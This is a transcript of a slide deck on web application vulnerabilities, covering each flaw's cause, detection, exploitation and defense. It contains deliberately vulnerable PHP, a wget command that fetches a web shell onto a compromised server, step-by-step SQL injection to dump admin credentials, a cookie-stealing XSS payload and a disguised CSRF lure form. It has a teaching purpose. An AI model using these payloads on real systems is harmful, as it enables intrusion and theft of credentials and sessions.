WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

transcript

WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND

DEFENSEPREPARED BY:

AJITH KP,KUSIST MANGATTUPARAMBA,

MCA (LAT)

WEB APPLICATION VULNERABILITIES:INTRODUCTION Web applications are popular software application types in which

the client runs the application stored in server in his/her web browser.

A vulnerability is a weakness which allows an attacker to reduce a system's information assurance.

The most common reason behind vulnerability is developers focus only on productivity rather than quality and security.

Vulnerability allows hackers/crackers to control servers, access sensitive details, breach privacy of users, etc.

WEB APPLICATION VULNERABILITIES:

INTRODUCTION (Cont.) Most common vulnerability found in web applications are, Injection Vulnerabilities

Remote Command Execution (RCE) SQL Injection (SQLi) File Inclusion

Local File Inclusion (LFI) Remote File Inclusion (RFI)

Cross Site Scripting (XSS) Cross Site Request Forgery Broken Authentication and Session Management Insecure direct object reference Unvalidated redirects and forwards Arbitrary File Upload

INTRODUCTION (Cont.) According to the survey of web application security firm Acunetix, the 60% of found vulnerabilities affects web applications.

According to the security vendor Cenzic, the top vulnerabilities in March 2012 include:

Percentage Vulnerability

37% Cross-site scripting16% SQL injection5% Path disclosure5% Denial-of-service attack4% Arbitrary code execution4% Memory corruption4% Cross-site request forgery5% File inclusion3% Data breach (information disclosure)

16% Other, including code injection

INTRODUCTION (Cont.) The most efficient way to detect and solve vulnerability is manual code review.

security society actively develops automated approaches to finding security vulnerabilities

But it is time consuming process and also require expert skills. So most of firms skips this step.

This leads the vulnerabilities unpatched, and cause breaching of security.

INTRODUCTION (Cont.) Remote Exploit collection from 0day.today

INTRODUCTION (Cont.) Local Exploit Collection from 0day.today

INTRODUCTION (Cont.) Web Application Exploits collection from 0day.today

INTRODUCTION (Cont.) DOS Exploit collections from 0day.today

INTRODUCTION (Cont.) Shellcodes from 0day.today

INJECTION VULNERABILITIES

Injection vulnerabilities are most dangerous vulnerability. Injection flaws allow attackers to relay malicious code through an

application to another system. These attacks include calls to the operating system via system

calls, the use of external programs via shell commands, as well as calls to backend databases via SQL.

Whole scripts written in PHP, Python, and other languages can be injected into poorly designed applications and executed.

Any time an application uses an interpreter of any type there is a danger of introducing an injection vulnerability.

INJECTION VULNERABILITIES(Cont.)

Many web applications use operating system features and external programs to perform their functions.

When a web application passes information from an HTTP request through as part of an external request, it must be carefully scrubbed.

The attacker can inject special (meta) characters, malicious commands, or command modifiers into the information and the web application will blindly pass these on to the external system for execution.

Injection vulnerabilities can be very easy to discover and exploit, but they can also be extremely obscure.

The consequences of a successful injection attack can also run the entire range of severity, from trivial to complete system compromise or destruction.

REMOTE CODE EXECUTIONINJECT YOUR COMMAND/CODE

REMOTE CODE EXECUTION

Remote Code Injection is the most dangerous and easiest to exploit among other injection vulnerabilities.

Also known as arbitrary code injection. The RCE allows attacker to execute command/code in remote

machines including operating system commands.

REMOTE CODE EXECUTION: DAWN

The common reason behind the RCE vulnerability is executing unvalidated commands.

The application may execute command or code that are inserted using queries.

If the application is not designed to validate the commands inserted in queries, the hacker/cracker may inject their own command/code.

Execution of their command/code may cause the allowing unauthorized access to server to the hacker/cracker.

REMOTE CODE EXECUTION: DAWN(Cont.)

The following program is an example of RCE vulnerable webpage. The bellow webpage is RCE vulnerable because it read the name

from query and uses as the argument for the command echo without proper validation.

<?php$name = $_GET['name'];system("echo $name");?>

REMOTE CODE EXECUTION: DAWN(Cont.)

Screenshot of vulnerable application.

REMOTE CODE EXECUTION: DETECTION

Detection of RCE vulnerable webpage is very easy. Just inject another command/code along with current or replace

current command with new one. If the webpage shows result of newly injected command/code we

can conclude the webpage is vulnerable to RCE.

REMOTE CODE EXECUTION: DETECTION(Cont.)

REMOTE CODE EXECUTION: EXPLOIT

Like detecting RCE vulnerability, exploiting vulnerability is also very easy.

The exploitation can be done the same way we detected the RCE vulnerability.

That is, append the commands to the query. It enables intruders to get unauthorized access to remote server

which makes high risk. Normally the hackers/crackers uses RATs to get full access on server. Several server backdoors are available in Internet. Most popular backdoors are: C99, Indrajith Mini Shell, b374k,

Madspot shell, etc.

(Cont.) Here shows how the hacker downloads the Indrajith Mini Shell

from https://packetstormsecurity.com. The Indrajith Mini Shell is located at

https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith-2.0.txt .

To download remote files, the command wget is used in Linux. Also it is available to Windows.

To download Indrajith Mini Shell, we can use command:wget https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith-2.0.txt –O

indr.php

(Cont.)

(Cont.) After inject wget command.

(Cont.) After download complete, we can control the server using Indrajith Mini Shell RAT.

(Cont.) The defense against RCE vulnerability good programming

approach. Validate the queries before execute. Try to avoid accepting command/code from queries maximum.

SQL INJECTIONINJECT YOUR OWN SQL QUERIES

SQL INJECTION

SQLi allows intruder to execute SQL queries. A SQL injection attack consists of insertion or "injection" of a SQL

query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from

the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS),

SQL INJECTION:DAWN

The reason behind SQLi is the developers careless coding. SQL statements must be enclosed carefully, and otherwise the result will be SQLi.<?php$id = $_GET['id'];$conn = new mysqli("localhost", "root", "", "items");$res = $conn->query("SELECT * FROM items WHERE id=$id;") or die(mysqli_error($conn));if ($res->num_rows > 0) {

while($r = $res->fetch_assoc()){echo "Your name is ".$r['name'];}

}$conn->close();?>

SQL INJECTION:DAWN(Cont.)

The above code is vulnerable to SQLi because the developers is not validating the `id` query read from URL.

So, we can manipulate the `id` and insert new queries to it. Here, the program uses query SELECT * FROM items WHERE

id=1 The id is read from URL query. If hacker/cracker append some query like, SELECT * FROM

items WHERE id=1 union select 1,@@version the output will be look like bellow image.

SQL INJECTION:DAWN(Cont.)

We have executed a new query along with desired query. This is the mechanism where hacker/cracker uses in SQLi.

SQL INJECTION:DETECTION(Cont.)

Like other injection flaws, SQLi is also easy to detect. Make some errors in query and check what impact is it makes. Eg. In above webpage the `id` is read from query and the type of

`id` is integer, alter the query and append a single quote at the end.

If the webpage shows error like: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 we can conclude the webpage is vulnerable to SQLi.

SQL INJECTION:EXPLOITATION(Cont.)

Exploiting SQLi not as easy like RCE. We have several steps to extract data/insert data/update data.

SQL INJECTION:EXPLOITATIONSTEP 1: COUNT NUMBER OF COLUMNS

To find number of columns we use statement ORDER BY which tells database how to order the result.

To count the columns just incrementing the number until we get an error.

http://www.site.com/sqli.php?id=1 order by 1 /* <-- no error

http://www.site.com/sqli.php?id=1 order by 2 /* <-- no error

http://www.site.com/sqli.php?id=1 order by 3 /* <-- error (we get message like this Unknown column '3' in 'order clause' or something like that)

That means that it has 2 columns, because we got an error on 3.

SQL INJECTION:EXPLOITATIONSTEP 2: FINDING VULNERABLE COLUMN

To find that, use query, http://www.site.com/

sqli.php?id=1 union select 1,2—

The webpage shows 2 because the webpage showing 2nd column data.

SQL INJECTION:EXPLOITATIONSTEP 3: FINDING SQL SERVER VERSION AND

DATABASE To view which version

of SQL server is using, replace `2` with version() or @@version

http://www.site.com/sqli.php?id=1 union select 1,@@version--

SQL INJECTION:EXPLOITATIONSTEP 3: FINDING SQL SERVER VERSION AND

DATABASE To view which version

of SQL server is using, replace `2` with database().

http://www.site.com/sqli.php?id=1 union select 1,database()--

SQL INJECTION:EXPLOITATIONSTEP 4: LIST OUT ALL TABLES

To list out all tables bellow query is used.

http://www.site.com/sqli.php?id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--

group_concat(): Return a concatenated string.

SQL INJECTION:EXPLOITATIONSTEP 5: LIST OUT COLUMNS FROM SELECTED

TABLE Here, we have 2 tables: items

and admin. The sensitive details may store in admin table. So, let’s dump admin table.

First step is get the column names of table admin. To get these details, the bellow query is used.

http://www.site.com/sqli.php?id=1 union select 1, group_concat(column_name) from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)–

The table name `admin` can be represent using ASCII value or hex value.

The output shows, admin table contains columns uid, uname and password.

SQL INJECTION:EXPLOITATIONSTEP 6: DUMP DATA

Next step is dump data from table `admin`.

http://www.site.com/sqli.php?id=1 union select 1,group_concat(uid, 0x3a, uname, 0x3a, password,0x3b)+from+admin—

The output shows that uid is 1, username is `ajithkp560` and password is `mypasswd`. So, we have successfully dumped the data from database.

SQL INJECTION:EXPLOITATIONSTEP 6: DUMP DATA LIVE SAMPLE

SQL INJECTION: DEFENSE

The defense for SQLi is good programming approaches. The good programming approach is use prepared statements and

parameterized queries. These are SQL statements that are sent to and parsed by the

database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL

queries.

SQL INJECTION: DEFENSEPrepared Statements and Parameterized Queries

A prepared statement is a feature used to execute the same (or similar) SQL statements repeatedly with high efficiency.

Prepared statements basically work like this: Prepare: An SQL statement template is created and sent to the

database. Certain values are left unspecified, called parameters (labeled "?"). Example: INSERT INTO MyGuests VALUES(?, ?, ?)

The database parses, compiles, and performs query optimization on the SQL statement template, and stores the result without executing it

Execute: At a later time, the application binds the values to the parameters, and the database executes the statement. The application may execute the statement as many times as it wants with different values

Compared to executing SQL statements directly, prepared statements have two main advantages: Prepared statements reduces parsing time as the preparation on the

query is done only once (although the statement is executed multiple times).

Bound parameters minimize bandwidth to the server as you need send only the parameters each time, and not the whole query.

Prepared statements are very useful against SQL injections, because parameter values, which are transmitted later using a different protocol, need not be correctly escaped.

If the original statement template is not derived from external input, SQL injection cannot occur.

The secured version sample program is,<?php$id = $_GET['id'];$conn = new mysqli("localhost", "root", "", "items");$st = $conn->prepare("SELECT * FROM items where id = ?");$st->bind_param("i", $id);$st->execute();$st->bind_result($id, $name);while($st->fetch()){echo "Your name is $name";}$conn->close();?>

After secured using prepared statements, the error in SQL statement not makes any error messages in webpage.

That is SQLi bug is eliminated.

FILE INCLUSININCLUDE WHAT YOU WANT.

FILE INCLUSION

File inclusion is another dangerous vulnerability in web applications which cause inclusion of intruder desired files such as RAT or sensitive files like /etc/passwd, /etc/shadow, etc.

The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as minimal as outputting the contents of the file or more serious events such as: Code execution on the web server. Code execution on the client-side such as JavaScript which can lead to

other attacks such as cross site scripting (XSS). Denial of service (DoS). Data theft/manipulation.

FILE INCLUSION(Cont.)

The file inclusion have two types according to the file can be included. Remote File Inclusion: Remote File Inclusion (RFI) is a type of

vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation.

Local File Inclusion: Local File Inclusion (LFI) is similar to a Remote File Inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included. The vulnerability is also due to the use of user-supplied input without proper validation.

FILE INCLUSION:DAWN

Like other injection flaws, the file inclusion vulnerability also arise due to improper development.

The developer should hide the details of including files from user. The vulnerability occurs due to the use of user-supplied input without

proper validation. The file inclusion vulnerability is an example of insecure direct object

reference Eg.

<?php$col = $_GET['color'];include($col);?>

FILE INCLUSION:DETECTION

File inclusion vulnerability can be detect using change the query value.

After altering the query value, the webpage shows some changes, we can declare it is vulnerable to file inclusion.

FILE INCLUSION:DETECTION

Before alter query value After alter query value

FILE INCLUSION:EXPLOITATION

Like the detection, exploitation also very simple. The exploitation can be done by including malicious webpages or

sensitive file into vulnerable page.

FILE INCLUSION:EXPLOITATIONRFI Sample

FILE INCLUSION:EXPLOITATIONLFI Sample

FILE INCLUSION:EXPLOITATIONLFI Live Sample

FILE INCLUSION:EXPLOITATIONRFI Defense

To protect from RFI with simple way edit the php.ini file. Open php.ini in editor. Find allow_url_fopen and allow_url_include and change from on to off. It will resist the page from inclusion of remote page.

Next is editing of .htaccess in Apache server. .htaccess file is the configuration file of Apache server.

RewriteEngine OnRewriteBase /RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)+(tp)+(://|s://)+.*(\?\?)+RewriteRule .* http://www.site.com [R,L]

The above .htaccess configuration will check the query string and if any `http://` or `ftp://` string found in query, redirect to http://www.site.com.

Validate the user queries. This is traditional defense mechanism. Validate the user inputs and if malicious query found, cancel the inclusion.

FILE INCLUSION:EXPLOITATIONLFI Defense

LFI protection can be achieved through good programming practices.

Avoid including files from queries will solve maximum. Also provide a good verifying procedure to verify the queries from

CROSS SITE SCRIPTING

INJECT YOUR SCRIPT

CROSS SITE SCRIPTING

This vulnerability also known as XSS. XSS vulnerability is dangerous vulnerability which is harm for clients. That

is, it is a client side attacking vulnerability. Cross-Site Scripting (XSS) attacks are a type of injection, in which

malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send

malicious code, generally in the form of a browser side script, to a different end user.

Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

CROSS SITE SCRIPTING: DAWN

Cross-Site Scripting (XSS) attacks occur when: Data enters a Web application through an untrusted source, most frequently a

web request. The data is included in dynamic content that is sent to a web user without being

validated for malicious content. The malicious content sent to the web browser often takes the form of a

segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute.

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Stored and Reflected XSS Attacks XSS attacks can generally be categorized into two categories:

stored and reflected. Stored XSS Attacks

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc.

The victim then retrieves the malicious script from the server when it requests the stored information.

Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

Reflected XSS Attacks Reflected attacks are those where the injected script is reflected off the web

server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.

Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site.

When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser.

The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

Example:<?phpsession_start();if(!$_SESSION['name']){

$_SESSION['name']=$_GET['name'];}echo "Hello, ".$_SESSION['name']."<br />";echo 'You searched: '.$_GET['q'];?>

In this example, the query is directly showing in the webpage without any validation. So, this webpage is vulnerable to XSS.

CROSS SITE SCRIPTING: DETECTION

XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search

for all places where input from an HTTP request could possibly make its way into the HTML output.

Note that a variety of different HTML tags can be used to transmit a malicious JavaScript.

Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

Simply the XSS vulnerabilities are detected by injecting simple script to it and check whether the script is executed or not.

Normally, an alert() function is injected. Example. http://site.com/xss.php?name=Ajith&q=<script>alert(‘Ajith’);</script>

CROSS SITE SCRIPTING: DETECTION

CROSS SITE SCRIPTING: EXPLOITATION

The exploitation of XSS vulnerability is done by injecting malicious script code into it.

Normally XSS vulnerability is used to highjack cookies of users. Now, let’s redirect the user to a malicious script which stores

cookie value. To get cookie, inject the script: <script>location.href='http://localhost/ajith/cookie.php?cookie='+document.cookie;</script>

In URL Encoded form. That is, %3Cscript%3Elocation.href%3D%27http%3A%2F%2Flocalhost%2Fajith%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E

After visiting the script injected page, the user redirects to malicious page.

The malicious page have captured the session cookie of user.

The next step is cookie poisoning. The Cookies add-ons of Google Chrome is used to edit cookie.

Cookie poisoning: Editing session cookie of intruder with the session cookie value of victim (user).

That is hkjeeiht0o2mm9g5ssa2fnadi5 with n4u6llvn311fctco07918i58b4.

Hacker/Cracker’s session.

His session says his name is `Vishnu`.

Cookie poisoning step. Change value of session

cookie PHPSESSIONID ‘s value hkjeeiht0o2mm9g5ssa2fnadi5 with n4u6llvn311fctco07918i58b4.

After cookie poisoning, refresh webpage.

Now the session says the user is `Ajith`.

That is hacker/cracker have successfully exploited XSS vulnerability.

CROSS SITE SCRIPTING: DEFENSE

Defense against XSS is good coding approaches, that is, do not allow injecting untrusted data into the webpage.

Never Insert Untrusted Data Except in Allowed Locations Untrusted data must not be shown in webpage directly. It will lead to XSS

vulnerability.<script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script inside an HTML comment<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name <style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS

CROSS SITE SCRIPTING: DEFENSE(Cont.)

HTML Escape Before Inserting Untrusted Data into HTML Element Content The another method to prevent XSS vulnerability is escape the following characters with

HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. In addition to the 5 characters significant in XML (&, <, >, ", '), the forward slash is included as it helps to end an HTML entity. & --> & < --> < > --> > " --> " ' --> ' / --> /

If the untrusted data are escaped, we can prevent XSS vulnerability successfully. In PHP the function htmlspecialchars() is used to escape the untrusted data.

The secured code of above XSS vulnerable example is,<?phpsession_start();if(!$_SESSION['name']){

$_SESSION['name']=htmlspecialchars($_GET['name']);}echo "Hello, ".$_SESSION['name']."<br />";echo 'You searched: '.htmlspecialchars($_GET['q']);?>

After encoding the character before showing in webpage.

The injection of script is failed here.

CROSS SITE REQUEST FORGERY

SUBMIT ANY FORM DATA YOU PREFER

CROSS SITE REQUEST FORGERY

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.

CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.

With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing.

If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth.

If the victim is an administrative account, CSRF can compromise the entire web application.

CROSS SITE REQUEST FORGERY: DAWN

The reason behind CSRF is accepting non validated data requests received.

Most of developers are unaware of CSRF because it is not a popular vulnerability among other dangerous vulnerabilities.

Because, the hacker/cracker cannot get access to server nor client, but can do some jobs by the client in server.

This vulnerability will become most dangerous when the websites like online banking, online market, etc. websites are vulnerable to CSRF.

The hacker/cracker can transfer money or buy thing using the CSRF vulnerability.

CROSS SITE REQUEST FORGERY: DAWN (Cont.)

Sample webpage code which is vulnerable to CSRF.<?phpsession_start();if($_SESSION['name']){

?><form method="post" action="?"><textarea name='msg'></textarea><br/><input type="submit" value="send" /></form><?php

}if(isset($_REQUEST['msg'])){

echo $_SESSION['name'].": ".$_REQUEST['msg'];}?>

CROSS SITE REQUEST FORGERY: DAWN (Cont.)

CROSS SITE REQUEST FORGERY: DETECTION

The CSRF can be detect by sending requests created manually to the preferred webpage.

If the webpage responds to the request, the webpage is vulnerable to CSRF.

To check this, we can use Live HTTP Headers, an add-ons of Mozilla Firefox.

The tool is very popular among hackers/crackers because altering headers are important steps in many vulnerability exploitations.

CROSS SITE REQUEST FORGERY: DETECTION (Cont.)

Before altering message using Live HTTP Header.

CROSS SITE REQUEST FORGERY: DETECTION (Cont.)

After altering message through Live HTTP Headers.

Successfully send new data through the Live HTTP Headers and the webpage respond to the data we have send.

CROSS SITE REQUEST FORGERY: EXPLOITATION

Most commonly the exploitations are done by cheating clients by hiding forms, or automatic form submitter. A sample malicious code which will submit message to the above form is bellow,

<html><header><title>Get Avast! Key</title></header><body><form method="post" action="http://localhost/ajith/csrf.php"><input name="msg" type="hidden" value="I hacked you" /><input type="submit" value="Generate Avast! Key" /></form></body></html>

CROSS SITE REQUEST FORGERY: EXPLOITATION (Cont.)

It is fake page which says it will give you Avast! Antivirus serial key.

But really, if you click the button the hidden form will submit to the page csrf.php page.

Also notice that, the form is not in the same domain where csrf.php lies.

CROSS SITE REQUEST FORGERY: EXPLOITATION (Cont.)

The victim have submitted the form with message `I hacked you` without concern of victim.

The CSRF vulnerability will become more malicious when the website is of online banking or online trading.

CROSS SITE REQUEST FORGERY: DEFENSE

The defense of CSRF is done by following ways. Using a secret cookie

Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request.

Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object.

The session identifier does not verify that the end-user intended to submit the request. Only accepting POST requests

Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious POST request, a CSRF

attack cannot be executed: Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST

request, such as a simple form hosted on the attacker's website composed entirely of hidden fields. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks

the form will do something else.

CROSS SITE REQUEST FORGERY: DEFENSE (Cont.)

Use GET requests only for retrieve data, not for manipulate any data in server The GET requests can be come from any website because it will be

shown I URL bar of web browser and can be copy to share. So, use the GET requests only for retrieve data and not used for

manipulate any data stored in server. Server side protection

Another defending way is use WAF (Web Application Firewall) to verify the requests came to server.

Today most of frameworks provide the CSRF security. The framework like Code Igniter (PHP), Ruby on Rails (Ruby), Django (Python) provides security against CSRF.

BROKEN AUTHENTICATION AND

SESSION MANAGEMENT

OPEN ANY WEBPAGE YOU WANT

BROKEN AUTHENTICATION AND SESSION MANAGEMENT

Broken authentication and session management is common vulnerabilities that appears on applications developed by newbie developers.

Commonly this type of vulnerabilities arise when the developer authenticates user only on the login page and in other pages forgets to verify the user.

BROKEN AUTHENTICATION AND SESSION MANAGEMENT: DAWN

The broken authentication and session management is arise due to development of application by inexperience developers and also due to provide authentication in important pages.

Also another important weakness is improper session management. If the sessions are showing in public, like showing it in URL also will lead to broken authentication.

A common example of broken authentication is, in a website of project management system, manager can login through login_manager.php, and after login he will redirect to home_manager.php.

The developer verifies username and password in the page login_manager.php and if login successful, he will redirect to home_manager.php, where he avoids verification of user who opened the page.

That enables anyone can open home_manager.php page directly without login. The broken authentication and session management will become more dangerous

when the page which does not verify the user have right to upload new files and edit data stored in server.

BROKEN AUTHENTICATION AND SESSION MANAGEMENT:

DETECTION Very easy to identify. Check whether the page which will open only after login can

open directly without login.

BROKEN AUTHENTICATION AND SESSION MANAGEMENT:

EXPLOITATION The exploitation have the same step of detection. If the intruder can open the sensitive important webpage without

login, he can manage or get information stored in that webpage. Also, if that page allows to edit, delete, create or upload data the

vulnerability will become evil.

BROKEN AUTHENTICATION AND SESSION MANAGEMENT: DEFENSE Defense for the broken authentication and session management

is good development practices. If authentication needed, provide authentication procedure and if

any unauthenticated request to the webpage comes avoid responding to the requests.

Also handle the sessions with care. Do not make session values public, if it shows in public, the

sessions may high jacked just like showed in exploitation of XSS.

INSECURE DIRECT OBJECT REFERENCE

Insecure direct object reference can be originate in many ways. One of the example of insecure direct object reference including

page referred by query. We have discussed about file inclusion vulnerability which is an

example of insecure direct object reference. Another example of insecure direct object reference is cross site

scripting (XSS).

INSECURE DIRECT OBJECT REFERENCE: DAWN

The insecure direct object reference vulnerability is originates because of improper programming practices.

The developer must not use the objects directly for sensitive purposes.

While talking about file inclusion, the vulnerability is occurred because of including file directly from the query.

Like that when using direct objects the developer must consider all probabilities of misusing it.

INSECURE DIRECT OBJECT REFERENCE: DAWN(Cont.)

Example code:<?php$user = $_GET['user'];$conn = new mysqli("localhost", "root", "", "items");$st = $conn->prepare("SELECT * FROM users where uname = ?");$st->bind_param("s", $user);$st->execute();$st->bind_result($uname, $name, $address);while($st->fetch()){echo "Hello, ".$name."<br/>Your username is ".$uname."<br/>Address is ".$address;}$conn->close();?>

Here the username is taking directly without verifying the user.

INSECURE DIRECT OBJECT REFERENCE: DAWN(Cont.)

Here, the username is referenced directly from query without verifying the user.

INSECURE DIRECT OBJECT REFERENCE: EXPLOITATION

The exploitation of insecure direct object reference vulnerability is done by changing the values of direct objects and if the webpage responds with direct object’s values maliciously, the vulnerability may cause data expose and like file inclusion vulnerabilities will cause getting access to server.

The above example can be exploit using change the query `name` ’s value.

INSECURE DIRECT OBJECT REFERENCE: EXPLOITATION (Cont.)

After altering the query value of user, the hacker/cracker have opened the user account of another user.

The above process is done without any validation.

UNVALIDATED REDIRECTS AND

FORWARDSREDIRECT USER TO ANYWHERE

UNVALIDATED REDIRECTS ANDFORWARDS

This is not a serious vulnerability to the server, but it may tricked to the users by phishing, cheating forms, etc.

So, the developer must care about unvalidated redirects and forwards.

UNVALIDATED REDIRECTS ANDFORWARDS: DAWN

Like other vulnerability this vulnerability too appears because of improper development practices.

This is another example of insecure direct object reference. Because the univalidated redirection occurs because of hacker/cracker can include the redirecting path directly to the webpage through queries.

Example:<?php$url = $_GET['url'];header("Location: $url");?>

The above example webpage code will redirect the user to the webpage specified by the query `url` without any validations.

UNVALIDATED REDIRECTS ANDFORWARDS: EXPLOITATION

The unvalidated redirections and forwards can be exploited by redirecting user to the phishing page or any other malicious webpages.

In the above example we can redirect the user by giving link,http://www.site.com/redirect.php?url=http://malicioussite.com/maliciouspage.php If the user opened the above URL, the user will redirect without

any validation, to the page http://malicioussite.com/maliciouspage.php.

UNVALIDATED REDIRECTS ANDFORWARDS: DEFENSE

The defense against unvalidated redirects and forwards are just provide validation procedure before redirected to the webpage.

The access checking is better way to validate the redirection URL. Before redirect check to ensure the user is authorized for the requested object.

Also we can use the same mechanism we have used to defend CSRF vulnerability, that is, use a token to verify the real user is requested the redirection.

ARBITRARY FILE UPLOAD

UPLOAD ANYTHING

ARBITRARY FILE UPLOAD

This vulnerability also known as unrestricted file upload vulnerability. Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be

attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step. The consequences of unrestricted file upload can vary, including complete

system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement.

It depends on what the application does with the uploaded file and especially where it is stored.

ARBITRARY FILE UPLOAD(Cont.)

There are really two classes of problems here. The first is with the file metadata, like the path and file name.

These are generally provided by the transport, such as HTTP multi-part encoding.

This data may trick the application into overwriting a critical file or storing the file in a bad location.

You must validate the metadata extremely carefully before using it.

ARBITRARY FILE UPLOAD: DAWN

The vulnerability arise due to allow users to upload any type of files without any validations. Example:

ARBITRARY FILE UPLOAD: EXPLOITATION

The exploitation of this vulnerability include uploading files which can be used to attack the platforms like PHP, JSP, ASP, etc.

That is upload the RATs. Also, the hacker/cracker can upload malicious executable files like Trojans and can made users to download and execute the Trojans.

Attacks on application platform Upload .php file into web tree – php code executed as web user Upload .gif to be resized - image library flaw exploited Upload huge files - file space denial of service Upload file using malicious path or name - overwrite critical file Upload file containing personal data - other users access it Upload file containing "tags" - tags get executed as part of being "included" in a

web page

ARBITRARY FILE UPLOAD: EXPLOITATION(Cont.)

Attacks on other systems Upload .exe file into web tree - victims download trojaned executable Upload virus infected file - victims' machines infected Upload .html file containing script - victim experiences Cross-site

Scripting (XSS)

ARBITRARY FILE UPLOAD: DEFENSE

The defense can be done by validate the uploaded files. Validate the uploaded files including extension and size.

Also, the checking of metadata will prevent some bypass techniques. Example:

<form method="POST" enctype="multipart/form-data"><input type="file" name="ufile" /><input type="submit" name="upl" value="UPLOAD" /></form><?phpif(isset($_REQUEST['upl'])){$check = getimagesize($_FILES["ufile"]["tmp_name"]);if($check!=false){if(move_uploaded_file($_FILES['ufile']['tmp_name'], $_FILES['ufile']['name'])){

ARBITRARY FILE UPLOAD: DEFENSE

(Cont.)echo "You have uploaded: ".$_FILES['ufile']['name'];}}else{echo "Error: Upload images";}}?>

The above code checks the uploaded file is real image by reading the image size. If image size is found, we can declare it is an image is going to upload.

That means, only image can upload.

THE END…PREPARED BY AJITH KP ( AJITHKP560@GMAIL.COM / R00T3DINJ3CT0R@GMAIL.COM )

WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

Technology